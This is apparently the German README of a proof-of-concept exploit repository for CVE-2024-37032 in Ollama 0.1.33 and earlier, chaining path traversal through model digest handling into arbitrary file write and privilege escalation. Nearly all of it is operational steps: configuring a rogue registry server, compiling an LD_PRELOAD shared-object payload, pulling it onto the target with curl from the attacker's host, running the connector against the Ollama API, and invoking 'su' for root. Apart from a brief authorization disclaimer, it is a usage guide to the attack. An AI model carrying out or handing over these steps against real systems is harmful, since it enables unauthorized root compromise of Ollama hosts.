
CVE-2024-37032 (Probllama) PoC für Ollama ≤0.1.33: Path-Traversal und Schreiben beliebiger Dateien über die Modell-Digest-Verarbeitung, was zu automatischer Rechteausweitung führt.
Dieses Repository enthält einen Proof-of-Concept FastAPI-Registrierungsserver, ein Connector-Skript und eine Preload-Demo-Bibliothek für autorisierte Labortests.
Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich Testberechtigung haben.
server.py: startet den FastAPI PoC-Server.rogue_server/config.py: zentrale Konfiguration für den PoC-Server.connector.py: sendet Pull-/Push-Anfragen an die Ziel-Ollama-API.preload_privs_demo.c: C-Quellcode für das Shared-Object-Payload.requirements.txt: Python-Abhängigkeiten für den PoC-Server.Installieren Sie auf Ihrem Host-Rechner die Python-Abhängigkeiten:
python -m pip install -r requirements.txt
Bearbeiten Sie rogue_server/config.py auf Ihrem Host-Rechner:
HOST = "<your_host_ip_or_host_ip>"
Bearbeiten Sie connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Hinweise:
SERVER_HOST muss auf den Host verweisen, der server.py ausführt.8000 läuft, geben Sie den Port sowohl in HOST als auch in SERVER_HOST an, z. B. 10.10.16.160:8000.TARGET_HOST und TARGET_PORT müssen auf die Ziel-Ollama-API verweisen. Wenn connector.py direkt auf dem Zielrechner ausgeführt wird, ist 127.0.0.1:11434 in der Regel korrekt.rogue_server/config.py ändern, starten Sie den PoC-Server neu.Kompilieren Sie die C-Datei und nennen Sie die Ausgabe libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Kopieren Sie diese Dateien auf den autorisierten Zielrechner:
libpreload_privs_demo.soconnector.pyEine einfache Möglichkeit ist, sie von Ihrem Host-Rechner aus bereitzustellen:
python3 -m http.server 8081
Laden Sie sie dann auf dem Zielrechner herunter:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
Nach dem Herunterladen des Shared Objects kopieren Sie den absoluten Pfad auf dem Zielrechner und setzen denselben Pfad als exploit_path in rogue_server/config.py auf dem Host-Rechner.
Beispiel:
exploit_path = "/tmp/libpreload_privs_demo.so"
Starten Sie den FastAPI-Server auf Ihrem Host-Rechner:
python server.py
Standardmäßig startet dieses Projekt Uvicorn auf 0.0.0.0:8000.
Führen Sie auf dem autorisierten Zielrechner aus:
python3 connector.py
Der Connector sendet Pull- und Push-Anfragen an die konfigurierte Ollama-API.
Nachdem der Connector fertig ist, führen Sie aus:
su
In einem anfälligen, korrekt konfigurierten Laborziel sollte der Preload-Pfad verwendet werden und der Privilegienwechsel kann beobachtet werden.
SERVER_HOST in connector.py mit HOST in rogue_server/config.py übereinstimmt.exploit_path der exakte absolute Pfad ist, unter dem libpreload_privs_demo.so auf dem Zielrechner existiert.TARGET_HOST:TARGET_PORT erreichbar ist.server.py neu, nachdem Sie rogue_server/config.py geändert haben.